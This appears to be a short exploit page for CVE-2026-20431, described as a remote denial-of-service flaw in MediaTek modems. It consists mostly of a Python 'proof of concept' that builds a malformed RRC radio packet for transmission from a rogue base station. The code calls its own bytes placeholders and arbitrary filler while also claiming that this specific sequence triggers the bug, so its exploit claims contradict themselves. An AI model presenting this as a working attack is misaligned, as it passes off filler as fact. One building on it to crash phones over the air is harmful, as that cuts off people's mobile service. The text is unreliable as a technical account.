CVE-2026-20431 MediaTek Modem远程拒绝服务漏洞

import struct # This is a conceptual PoC to demonstrate the malformed packet structure # that would trigger the logic error in the MediaTek Modem. # In a real scenario, this requires SDR hardware to transmit over the air interface. def build_malformed_rrc_packet(): # Simulating a malformed RRC (Radio Resource Control) message # The specific byte sequence triggers the logic error (Issue ID: MSV-4467) packet_header = b'\x00' * 3 # Generic header placeholder # Malformed length field causing buffer overflow or logic crash malformed_length = struct.pack('>H', 0xFFFF) payload = b'\x41' * 10 # Arbitrary payload return packet_header + malformed_length + payload if __name__ == "__main__": print("[+] Generating PoC payload for CVE-2026-20431...") payload = build_malformed_rrc_packet() print(f"[+] Payload length: {len(payload)} bytes") print(f"[+] Payload hex: {payload.hex()}") print("[!] Note: Transmission requires rogue base station hardware.")